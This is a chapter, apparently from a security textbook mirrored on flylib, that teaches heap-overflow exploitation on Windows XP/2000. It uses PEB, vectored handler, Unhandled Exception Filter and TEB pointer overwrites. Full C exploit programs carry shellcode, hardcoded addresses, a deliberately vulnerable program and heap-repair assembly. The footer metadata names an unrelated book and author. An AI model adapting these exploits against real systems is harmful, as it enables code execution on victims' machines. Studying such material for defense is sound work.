Exploiting Heap-Based Overflows

One of the curious things about many programmers is that, while they know overflowing stack-based buffers can be dangerous, they feel that heap-based buffers are safe; and so what if they get overflowed? The program crashes at worst. They don't realize that heap-based overflows are as dangerous as their stack-based counterparts, and they will quite happily use evil functions like strcpy () and strcat() on heap-based buffers. As discussed in the previous section, the best way to go when exploiting heap-based overflows to run arbitrary code is to work with exception handlers. Overwriting the pointer to the exception handler with frame-based exception handling when doing a heap overflow is a widely known technique; so too is the use of the Unhandled Exception Filter. Rather than discussing these in any depth (they are covered at the end of this section), we'll look at two new techniques.

Overwrite Pointer to RtlEnterCriticalSection in the PEB

We explained the PEB, describing its structure. There are a few important points to remember. We had a couple of function pointers, specifically to RtlEnter CriticalSection() and RtlLeaveCriticalSection(). In case you wondered, the RtlAccquirePebLock() and RtlReleasePebLock() functions exported by NTDLL.DLL reference them. These two functions are called from the execution path of ExitProcess() . As such, we can exploit the PEB to run arbitrary codespecifically when a process is exiting. Exception handlers often call ExitProcess , and if such an exception handler has been set up, then use it. With the heap overflow arbitrary dword overwrite, we can modify one of these pointers in the PEB. What makes this such an attractive proposition is that the location of the PEB is fixed across all versions of Windows NT x regardless of service pack or patch level, and therefore the locations of these pointers are fixed as well.

Note 

Windows 2003 Server does not use these pointers; see the discussion at the end of this section.

It's probably best to go for the pointer to RtlEnterCriticalSection() . This pointer can always be located at 0x7FFDF020 . When exploiting the heap overflow, however, we'll be using address 0x7FFDF01C this is because we reference the address using EAX+4 .

 77F62571 89 48 04             mov         dword ptr [eax+4],ecx 

There's nothing tricky here; we overflow the buffer, do the arbitrary overwrite, let the access violation occur, and then let the ExitProcess fun begin. Keep a few things in mind, though. First, the primary action your arbitrary code should make is to set the pointer back again. The pointer may be used elsewhere, and therefore, you'll lose the process. You may also need to repair the heap, depending upon what your code does.

Repairing the heap is, of course, only useful if your code is still around when the process is exiting. As mentioned, your code may get dropped, which typically happens with exception handlers that call ExitProcess() . You may also find the technique of using an access violation to execute your code useful when dealing with heap overflows in Web-based CGI executables.

The following code is a simple demonstration of using an access violation to execute hostile code in action. It exploits the code presented earlier.

 #include <stdio.h>      #include <windows.h>          unsigned int GetAddress(char *lib, char *func);      void fixupaddresses(char *tmp, unsigned int x);          int main()      {             unsigned char buffer[300]="";             unsigned char heap[8]="";             unsigned char pebf[8]="";             unsigned char shellcode[200]="";             unsigned int address_of_system = 0;             unsigned int address_of_RtlEnterCriticalSection = 0;             unsigned char tmp[8]="";             unsigned int cnt = 0;                 printf("Getting addresses...\n");             address_of_system = GetAddress("msvcrt.dll","system");             address_of_RtlEnterCriticalSection =  GetAddress("ntdll.dll","RtlEnterCriticalSection");             if(address_of_system == 0       address_of_RtlEnterCriticalSection == 0)                     return printf("Failed to get addresses\n");             printf("Address of msvcrt.system\t\t\t= %.8X\n",address_of_system);             printf("Address of ntdll.RtlEnterCriticalSection\t=  %.8X\n",address_of_RtlEnterCriticalSection);             strcpy(buffer,"heap1 ");                 // Shellcode - repairs the PEB then calls system("calc");      strcat(buffer,"\"\x90\x90\x90\x90\x01\x90\x90\x6A\x30\x59\x64\x8B\x01\xB9");             fixupaddresses(tmp,address_of_RtlEnterCriticalSection);             strcat(buffer,tmp);           strcat(buffer,"\x89\x48\x20\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\ x53\xB9");             fixupaddresses(tmp,address_of_system);             strcat(buffer,tmp);                     strcat(buffer,"\xFF\xD1");                 // Padding             while(cnt < 58)             {                     strcat(buffer,"DDDD");                     cnt ++;             }                 // Pointer to RtlEnterCriticalSection pointer - 4 in PEB             strcat(buffer,"\x1C\xF0\xFD\x7f");                 // Pointer to heap and thus shellcode             strcat(buffer,"\x88\x06\x35");                 strcat(buffer,"\"");             printf("\nExecuting heap1.exe... calc should open.\n");             system(buffer);             return 0;      }          unsigned int GetAddress(char *lib, char *func)      {             HMODULE l=NULL;             unsigned int x=0;             l = LoadLibrary(lib);             if(!l)                     return 0;             x = GetProcAddress(l,func);             if(!x)                     return 0;             return x;      }               void fixupaddresses(char *tmp, unsigned int x)      {             unsigned int a = 0;             a = x;             a = a << 24;             a = a >> 24;             tmp[0]=a;             a = x;             a = a >> 8;             a = a << 24;             a = a >> 24 ;             tmp[1]=a;             a = x;             a = a >> 16;             a = a << 24;             a = a >> 24;             tmp[2]=a;             a = x;             a = a >> 24;             tmp[3]=a;      } 

As noted, Windows 2003 Server does not use these pointers. In fact, the PEB on Windows 2003 Server sets these addresses to NULL . That said, a similar attack can still be launched. A call to ExitProcess() or UnhandledExceptionFilter() calls many Ldr* functions, such as LdrUnloadDll() . A number of the Ldr* functions will call a function pointer if non-zero . These function pointers are usually set when the SHIM engine kicks in. For a normal process, these pointers are not set. By setting a pointer through exploiting the overflow, we can achieve the same effect.

Overwrite Pointer to First Vectored Handler at 77FC3210

Vectored exception handling was introduced with Windows XP. Unlike traditional frame-based exception handling that stores exception registration structures on the stack, vectored exception handling stores information about handlers on the heap. This information is stored in a structure very similar in nature to the exception registration structure.

 struct _VECTORED_EXCEPTION_NODE      {          dword   m_pNextNode;          dword   m_pPreviousNode;          PVOID   m_pfnVectoredHandler;      } 

m_pNextNode points to the next _VECTORED_EXCEPTION_NODE structure, m_pPreviousNode points to the previous _VECTORED_EXCEPTION_NODE structure, and m_pfnVectoredHandler points to the address of the code that implements the handler. A pointer to the first vectored exception node that will be used in the event of an exception can be found at 0x77FC3210 (although this location may change over time as service packs modify the system). When exploiting a heap-based overflow, we can overwrite this pointer with a pointer to our own pseudo _VECTORED_EXCEPTION_NODE structure. The advantage of this technique is that vectored exception handlers will be called before any frame-based handlers.

The following code (on Windows XP Service Pack 1) is responsible for dispatching the handler in the event of an exception:

 77F7F49E     mov         esi,dword ptr ds:[77FC3210h] 77F7F4A4     jmp         77F7F4B4 77F7F4A6     lea         eax,[ebp-8] 77F7F4A9     push        eax 77F7F4AA     call        dword ptr [esi+8] 77F7F4AD     cmp         eax,0FFh 77F7F4B0     je          77F7F4CC 77F7F4B2     mov         esi,dword ptr [esi] 77F7F4B4     cmp         esi,edi 77F7F4B6     jne         77F7F4A6 

This code moves into the ESI register a pointer to the _VECTORED_EXCEPTION_NODE structure of the first vectored handler to be called. It then calls the function pointed to by ESI + 8 . When exploiting a heap overflow, we can gain control of the process by setting this pointer at 0x77FC3210 to be our own.

So how do we go about this? First, we need to find the pointer to our allocated heap block in memory. If the variable that holds this pointer is a local variable, it will exist in the current stack frame. Even if it's global, chances are it will still be on the stack somewhere, because it is pushed onto the stack as an argument to a functioneven more likely if that function is HeapFree() . (The pointer to the block is pushed on as the third argument). Once we've located it (let's say at 0x0012FF50) , we can then pretend that this is our m_pfnVectoredHandler making 0x0012FF48 the address of our pseudo _VECTORED_EXCEPTION_NODE structure. When we overflow the heap-management data, we'll thus supply 0x0012FF48 as one pointer and 0x77FC320C as the other. This way when

 77F6256F 89 01                mov         dword ptr [ecx],eax 77F62571 89 48 04             mov         dword ptr [eax+4],ecx 

executes, 0x77FC320C ( EAX ) is moved into 0x0012FF48 ( ECX ), and 0x0012FF48 ( ECX ) is moved into 0x77FC3210 ( EAX+4 ). As a result, the pointer to the top level _ VECTORED_EXCEPTION_NODE structure found at 0x77FC3210 is owned by us. This way, when an exception is raised, 0x0012FF48 moves into the ESI register (instruction at address 0x77F7F49E ), and moments later, the function pointed to by ESI+8 is called. This function is the address of our allocated buffer on the heap; when called, our code is executed. Sample code that will do all this is as follows :

 #include <stdio.h>      #include <windows.h>          unsigned int GetAddress(char *lib, char *func);      void fixupaddresses(char *tmp, unsigned int x);          int main()      {             unsigned char buffer[300]="";             unsigned char heap[8]="";             unsigned char pebf[8]="";             unsigned char shellcode[200]="";             unsigned int address_of_system = 0;             unsigned char tmp[8]="";             unsigned int cnt = 0;                 printf("Getting address of system...\n");                 address_of_system = GetAddress("msvcrt.dll","system");             if(address_of_system == 0)                     return printf("Failed to get address.\n");                 printf("Address of msvcrt.system\t\t\t= %.8X\n",address_of_system);                 strcpy(buffer,"heap1 ");                   while(cnt < 5)             {                     strcat(buffer,"\x90\x90\x90\x90");                     cnt ++;             }                 // Shellcode to call system("calc");       strcat(buffer,"\x90\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9");             fixupaddresses(tmp,address_of_system);             strcat(buffer,tmp);             strcat(buffer,"\xFF\xD1");;                 cnt = 0;             while(cnt < 58)             {                     strcat(buffer,"DDDD");                     cnt ++;             }                 // Pointer to 0x77FC3210 - 4. 0x77FC3210 holds             // the pointer to the first _VECTORED_EXCEPTION_NODE             // structure.              strcat(buffer,"\x0C\x32\xFC\x77");                 // Pointer to our pseudo _VECTORED_EXCEPTION_NODE             // structure at address 0x0012FF48. This address + 8             // contains a pointer to our allocated buffer. This             // is what will be called when the vectored exception             // handling kicks in. Modify this according to where             // it can be found on your system             strcat(buffer,"\x48\xff\x12\x00");                 printf("\nExecuting heap1.exe... calc should open.\n");             system(buffer);             return 0;      }          unsigned int GetAddress(char *lib, char *func)      {             HMODULE l=NULL;             unsigned int x=0;             l = LoadLibrary(lib);             if(!l)                     return 0;             x = GetProcAddress(l,func);             if(!x)                     return 0;             return x;      }          void fixupaddresses(char *tmp, unsigned int x)      {             unsigned int a = 0;             a = x;             a = a << 24;             a = a >> 24;             tmp[0]=a;             a = x;             a = a >> 8;             a = a << 24;             a = a >> 24 ;             tmp[1]=a;             a = x;             a = a >> 16;             a = a << 24;             a = a >> 24;             tmp[2]=a;             a = x;             a = a >> 24;             tmp[3]=a;      } 

Overwrite Pointer to Unhandled Exception Filter

Halvar Flake first proposed the use of the Unhandled Exception Filter in at the Blackhat Security Briefings in Amsterdam in 2001. When no handler can dispatch with an exception, or if no handler has been specified, the Unhandled Exception Filter is the last-ditch handler to be executed. It's possible for an application to set this handler using the SetUnhandledExceptionFilter() function. The code behind this function is presented here:

 77E7E5A1     mov ecx,dword ptr [esp+4]      77E7E5A5     mov eax,[77ED73B4]      77E7E5AA     mov dword ptr ds:[77ED73B4h],ecx      77E7E5B0     ret 4 

As we can see, a pointer to the Unhandled Exception Filter is stored at 0x77ED73B4 on Windows XP Service Pack 1, at least. Other systems may or will have another address. Disassemble the SetUnhandledException_Filter() function to find it on your system.

When an unhandled exception occurs, the system executes the following block of code:

 77E93114     mov eax,[77ED73B4]      77E93119     cmp eax,esi      77E9311B     je 77E93132      77E9311D     push edi      77E9311E     call eax 

The address of the Unhandled Exception Filter is moved into EAX and then called. The push edi instruction before the call pushes a pointer to an EXCEPTION_POINTERS structure onto the stack. Keep this technique in mind, because we'll be using it later on.

When overflowing the heap, if the exception is not handled, we can exploit the Unhandled Exception Filter mechanism. To do so, we basically set our own Unhandled Exception Filter. We can either set it to a direct address that points into our buffer if its location is fairly predictable, or we can set it to an address that contains a block of code or a single instruction that will take us back to our buffer. Remember that EDI was pushed onto the stack before the filter is called? This is the pointer to the EXCEPTION_POINTER structure. 0x78 bytes past this pointer is an address right in the middle of our buffer, which is actually a pointer to the end of our buffer just before the heap-management stuff. While this is not part of the EXCEPTION_POINTER structure itself, we can bounce off EDI to get back to our code. All we need to find is an address in the process that executes the following instruction:

 call dword ptr[edi+0x78] 

While this sounds like a pretty tall order, there are in fact several places where this instruction can be founddepending on what DLLs have been loaded into the address space, of course, and what OS/patch level you're on. Here are some examples on Windows XP Service Pack 1.

 call dword ptr[edi+0x74] found at 0x71c3de66 [netapi32.dll]      call dword ptr[edi+0x74] found at 0x77c3bbad [netapi32.dll]      call dword ptr[edi+0x74] found at 0x77c41e15 [netapi32.dll]      call dword ptr[edi+0x74] found at 0x77d92a34 [user32.dll]      call dword ptr[edi+0x74] found at 0x7805136d [rpcrt4.dll]      call dword ptr[edi+0x74] found at 0x78051456 [rpcrt4.dll] 
Note 

On Windows 2000, both ESI + 0x4C and EBP + 0x74 contain a pointer to our buffer.

If we set the Unhandled Exception Filter to one of the addresses listed previously, then in the event of an unhandled exception occurring, this instruction will be executed, dropping us neatly back into our buffer. By the way, the Unhandled Exception Filter is called only if the process is not already being debugged . The sidebar covers how to fix this problem.

start sidebar
Calling the Unhandled Exception Filter while debugging

When an exception is thrown, it is caught by the system. Execution is immediately switched to KiUserExceptionDispatcher() in ntdll.dll. This function is responsible for dealing with exceptions as and when they occur. On XP, KiUserExceptionDispatcher() first calls any vectored handlers, then frame-based handlers, and finally the Unhandled Exception Filter. Windows 2000 is almost the same except that it has no vectored exception handling. One of the problems you may encounter when developing an exploit for a heap overflow is that if the vulnerable process is being debugged, then the Unhandled Exception Filter is never calledmost annoying when you're trying to code an exploit that actually uses the Unhandled Exception Filter. A solution to this problem exists, however.

KiUserExceptionDispatcher() calls the UnhandledExceptionFilter() function, which determines whether the process is being debugged and whether the Unhandled Exception Filter should actually be called. The UnhandledException_Filter() function calls the NT/ZwQueryInformationProcess kernel function, which sets a variable on the stack to 0xFFFFFFFF if the process is being debugged. Once NT/ZwQueryInformationProcess returns, a comparison is performed on this variable with a register that has been zeroed.If they match, the Unhandled Exception Filter is called. If they are different, the Unhandled Exception Filter is not called. Therefore, if you want to debug a process and have the Unhandled Exception Filter called, then set a break point at the comparison. When the break point is reached, change the variable from 0xFFFFFFFF to 0x00000000 and let the process continue. This way the Unhandled Exception Filter will be called.

The following figure depicts the relevant code behind UnhandledExceptionFilter on Windows XP Service Pack 1. In this case, you would set a break point at address 0x77E9310B and wait for the exception to occur and the function to be called. Once you reach the break point , set [EBP-20h] to 0x00000000. The Unhandled Exception Filter will now be called.

click to expand
end sidebar
 

To demonstrate the use of the Unhandled Exception Filter with heap overflow exploitation, we need to modify our vulnerable program to remove the exception handler. If the exception is handled, then we won't be doing anything with the Unhandled Exception Filter.

 #include <stdio.h>      #include <windows.h>          int foo(char *buf);          int main(int argc, char *argv[])      {             HMODULE l;             l = LoadLibrary("msvcrt.dll");             l = LoadLibrary("netapi32.dll");             printf("\n\nHeapoverflow program.\n");             if(argc != 2)                     return printf("ARGS!");             foo(argv[1]);                                                          return 0;      }          int foo(char *buf)      {             HLOCAL h1 = 0, h2 = 0;             HANDLE hp;                 hp = HeapCreate(0,0x1000,0x10000);             if(!hp)                     return printf("Failed to create heap.\n");             h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);             printf("HEAP: %.8X %.8X\n",h1,&h1);                          //  Heap Overflow occurs here:  strcpy(h1,buf);                          // We gain control of this second call to HeapAlloc             h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);             printf("hello");             return 0;      } 

The following sample code exploits this. We overwrite the heap management structure with a pair of pointers; one to the Unhandled Exception Filter at address 0x77ED73B4 and the other 0x77C3BBAD an address in netapi32.dll that has a call dword ptr[edi+0x78] instruction. When the next call to HeapAlloc() occurs, we set our filter and wait for the exception. Because it is unhandled, the filter is called, and we land back in our code. Note the short jump we place in the bufferthis is where EDI+0x78 points to, so we need to jump over the heap-management stuff.

 #include <stdio.h> #include <windows.h>     unsigned int GetAddress(char *lib, char *func); void fixupaddresses(char *tmp, unsigned int x);     int main() {      unsigned char buffer[1000]="";      unsigned char heap[8]="";      unsigned char pebf[8]="";      unsigned char shellcode[200]="";      unsigned int address_of_system = 0;      unsigned char tmp[8]="";      unsigned int a = 0;      int cnt = 0;          printf("Getting address of system...\n");      address_of_system = GetAddress("msvcrt.dll","system");      if(address_of_system == 0)              return printf("Failed to get address.\n");      printf("Address of msvcrt.system\t\t\t= %.8X\n",address_of_system);      strcpy(buffer,"heap1 ");      while(cnt < 66)      {              strcat(buffer,"DDDD");              cnt++;      }  // This is where EDI+0x74 points to so we   // need to do a short jmp forwards  strcat(buffer,"\xEB\x14");          // some padding      strcat(buffer,"\x44\x44\x44\x44\x44\x44");            // This address (0x77C3BBAD : netapi32.dll XP SP1) contains       // a "call dword ptr[edi+0x74]" instruction. We overwrite       // the Unhandled Exception Filter with this address.          strcat(buffer,"\xad\xbb\xc3\x77");           // Pointer to the Unhandled Exception Filter      strcat(buffer,"\xB4\x73\xED\x77"); // 77ED73B4          cnt = 0;          while(cnt < 21)      {              strcat(buffer,"\x90");              cnt ++;      }      // Shellcode stuff to call system("calc"); strcat(buffer,"\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9");      fixupaddresses(tmp,address_of_system);      strcat(buffer,tmp);      strcat(buffer,"\xFF\xD1\x90\x90");      printf("\nExecuting heap1.exe... calc should open.\n");      system(buffer);      return 0; }     unsigned int GetAddress(char *lib, char *func) {      HMODULE l=NULL;      unsigned int x=0;      l = LoadLibrary(lib);      if(!l)              return 0;      x = GetProcAddress(l,func);      if(!x)              return 0;      return x; }     void fixupaddresses(char *tmp, unsigned int x) {    unsigned int a = 0;      a = x;      a = a << 24;      a = a >> 24;      tmp[0]=a;      a = x;      a = a >> 8;      a = a << 24;      a = a >> 24 ;      tmp[1]=a;      a = x;      a = a >> 16;      a = a << 24;      a = a >> 24;      tmp[2]=a;      a = x;      a = a >> 24;      tmp[3]=a; } 

Overwrite Pointer to Exception Handler in Thread Environment Block

As with the Unhandled Exception Filter method, Halvar Flake was the first to propose overwriting the pointer to the exception registration structure stored in the Thread Environment Block (TEB) as a method. Each thread has a TEB, which is typically accessed through the FS segment register. FS:[0] contains a pointer to the first frame-based exception registration structure. The location of a given TEB varies, depending on how many threads there are and when it was created and so on. The first thread typically has an address of 0x7FFDE000 , the next thread to be created will have a TEB with an address of 0x7FFDD000 , 0x1000 bytes apart, and so on. TEBs grow toward 0x00000000 . The following code shows the address of the first thread's TEB:

 #include <stdio.h>      int main()      {              __asm{                     mov eax, dword ptr fs:[0x18]                     push eax                     }             printf("TEB: %.8X\n");                   __asm{                     add esp,4                     }                 return 0;      } 

If a thread exits, the space is freed and the next thread created will get this free block. Assuming there's a heap overflow problem in the first thread (which has a TEB address of 0x7FFDE000 ), then a pointer to the first exception registration structure will be at address 0x7FFDE000 . With a heap-based overflow, we could overwrite this pointer with a pointer to our own pseudo-registration structure; then when the access violation that's sure to follow occurs, an exception is thrown, and we control the information about the handler that will be executed. Typically, however, especially with multi-threaded servers, this is slightly more difficult to exploit, because we can't be sure exactly where our current thread's TEB is. That said, this method is perfect for single-thread programs such as CGI-based executables. If you use this method with multi-threaded servers, then the best approach is to spawn multiple threads and plump for a lower TEB address.

Repairing the Heap

Once we've corrupted the heap with our overflow, we'll more than likely need to repair it. If we don't, our process is 99.9% likely to access violate even more likely if we've hit the default process heap. We can, of course, reverse engineer a vulnerable application and work out exactly the size of the buffer and the size of the next allocated block, and so on. We can then set the values back to what they should be, but doing this on a per-vulnerability basis requires too much effort. A generic method of repairing the heap would be better. The most reliable generic method is to modify the heap to look like a fresh new heapalmost fresh, that is. Remember that when a heap is created and before any allocations have taken place, we have at FreeLists[0] ( HEAP_BASE + 0x178 ) two pointers to the first free block (found at HEAP_BASE + 0x688 ), and two pointers at the first free block that point to Free_Lists[0] . We can modify the pointers at FreeLists[0] to point to the end of our block, making it appear as though the first free block can be found after our buffer. We also set two pointers at the end of our buffer that point back to FreeLists[0] and a couple of other things. Assuming we've destroyed a block on the default process heap, we can repair it with the following assembly. Run this code before doing anything else to prevent an access violation. It's also good practice to clear the handling mechanism that's been abused; in this way, if an access violation does occur, you won't loop endlessly.

 // We've just landed in our buffer after a      // call to dword ptr[edi+74]. This, therefore      // is a pointer to the heap control structure      // so move this into edx as we'll need to       // set some values here  mov edx, dword ptr[edi+74]  // If running on Windows 2000 use this      // instead      // mov edx, dword ptr[esi+0x4C]      // Push 0x18 onto the stack  push 0x18  // and pop into EBX  pop ebx  // Get a pointer to the Thread Information      // Block at fs:[18]  mov eax, dword ptr fs:[ebx]  // Get a pointer to the Process Environment      // Block from the TEB.  mov eax, dword ptr[eax+0x30]  // Get a pointer to the default process heap      // from the PEB  mov eax, dword ptr[eax+0x18]  // We now have in eax a pointer to the heap      // This address will be of the form 0x00nn0000      // Adjust the pointer to the heap to point to the      // TotalFreeSize dword of the heap structure  add al,0x28  // move the WORD in TotalFreeSize into si  mov si, word ptr[eax]  // and then write this to our heap control      // structure. We need this.  mov word ptr[edx],si  // Adjust edx by 2  inc edx   inc edx  // Set the previous size to 8  mov byte ptr[edx],0x08   inc edx  // Set the next 2 bytes to 0  mov si, word ptr[edx]   xor word ptr[edx],si   inc edx   inc edx  // Set the flags to 0x14  mov byte ptr[edx],0x14   inc edx  // and the next 2 bytes to 0  mov si, word ptr[edx]   xor word ptr[edx],si   inc edx   inc edx  // now adjust eax to point to heap_base+0x178      // It's already heap_base+0x28  add ax,0x150  // eax now points to FreeLists[0]      // now write edx into FreeLists[0].Flink  mov dword ptr[eax],edx  // and write edx into FreeLists[0].Blink  mov dword ptr[eax+4],edx  // Finally set the pointers at the end of our      // block to point to FreeLists[0]  mov dword ptr[edx],eax  mov dword ptr[edx+4],eax 

With the heap repaired, we should be ready to run our real arbitrary code. Incidentally, we don't set the heap to a completely fresh heap because other threads will have data already stored somewhere on the heap. For example, winsock data is stored on the heap after a call to WSAStartup . If this data is destroyed because the heap is reset to its default state, then any call to a winsock function will access violate.

Other Aspects of Heap-Based Overflows

Not all heap overflows are exploited through calls to HeapAlloc() and Hea Free() .Other aspects of heap-based overflows include, but are not limited to, private data in C++ classes and Component Object Model (COM) objects. COM allows a programmer to create an object that can be created on the fly by another program. This object has functions, or methods , that can be called to perform some task. A good source of information about COM can be found, of course, on the Microsoft site ( www.microsoft.com/com/ ). But what's so interesting about COM, and how does it pertain to heap-based overflows?

COM Objects and the Heap

When a COM object is instantiated that is, createdit is done so on the heap. A table of function pointers is created, known as the vtable . The pointers point to the code of the methods an object supports. Above this vtable, in terms of virtual memory addressing, space is allocated for object data. When new COM objects are created, they are placed above the previously created objects, so what would happen if a buffer in the data section of one object were overflowed? It would overflow into the vtable of the other object. If one of the methods is called on the second object, then there will be a problem. With all the function pointers overwritten, an attacker can control the call. He or she would overwrite each entry in the vtable with a pointer to their buffer. So when the method is called, the path of execution is redirected into the attacker's code. It's quite common to see this in ActiveX objects in Internet Explorer. COM-based overflows are very easy to exploit.

Overflowing Logic Program Control Data

Exploiting heap-based overflows may not necessarily entail running attacker-supplied arbitrary code. You may want to overwrite variables stored on the heap that control what an application does. For example, imagine a Web server stored a structure on the heap that contained information about the permissions of virtual directories. By overflowing a heap-based buffer into this structure, it may be possible to mark the Web root as writeable . Then an attacker can upload content to the Web server and wreak havoc.

Wrapping Up the Heap

We've presented several mechanisms through which heap-based overflows can be exploited. The best approach to writing an exploit for a heap overflow is to do it per vulnerability. Each overflow is likely to be slightly different from every other heap overflow. This fact may make the overflow easier to exploit on some occasions but more difficult on others. For those out there responsible for programming, hopefully we've demonstrated the perils that lie in the unsafe use of the heap. Nasty things can and will happen if you don't think about what you're doingso code securely.



The Shellcoder's Handbook. Discovering and Exploiting Security
Hacking Ubuntu: Serious Hacks Mods and Customizations (ExtremeTech)
ISBN: N/A
EAN: 2147483647
Year: 2003
Pages: 198
Authors: Neal Krawetz

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net